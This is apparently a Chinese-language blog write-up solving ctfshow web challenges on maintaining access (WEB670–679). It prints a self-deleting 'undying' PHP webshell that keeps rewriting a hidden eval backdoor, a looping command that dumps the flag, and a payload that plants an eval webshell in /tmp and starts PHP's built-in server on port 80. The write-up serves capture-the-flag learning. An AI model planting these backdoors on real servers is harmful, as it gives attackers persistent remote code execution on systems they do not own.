【ctfshow】web入门-权限维持

WEB670-WEB676

这几题做法都一样
发现/var/www/html目录可写,既然是权限维持,那么直接传不死马

1
2
3
4
5
6
7
8
9
10
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = '<?php @eval($_POST["shell"]) ?>';
file_put_contents(".bk.php", $content);
usleep(10000);
}
?>

访问一次不死马,会发现目录下生成了.bk.php
然后check,我推测这个check应该只是删除了当前目录的所有文件,并没有其他操作
因为我们的马是不断生成的,所以依旧可以访问
这样就拿到了这个靶机的权限和flag

WEB677-WEB678

发现没有权限写入文件
实在没招了,在g4👴那里学了一招

1
system('while true;do cat /f*;done');

在一个窗口发送后进程会锁死,另一个窗口check
第一个窗口就会不断返回flag

原理大概是因为不杀进程,所以用死循环一直cat flag

WEB679

在可写的/tmp目录下传木马并写系统命令,然后提交5秒内进⾏check,check会关闭nginx和php-fpm,由于是www-data权限,⽆法启动nginx和php-fpm,直接启动php内置服务器即可

1
cmd=file_put_contents("/tmp/index.php","<?php eval(\$_POST['a']);?>");system("sleep 5 && php -S 0.0.0.0:80 -t /tmp/");

注意特殊字符编码
传入后可以在蚁剑看看有没有成功写入php

flag在根目录
(出现Notice: Undefined index: a in /tmp/index.php on line 1是正常情况)


【ctfshow】web入门-权限维持
https://www.dr0n.top/posts/55be078a/
作者
dr0n
发布于
2021年12月9日
更新于
2024年3月21日
许可协议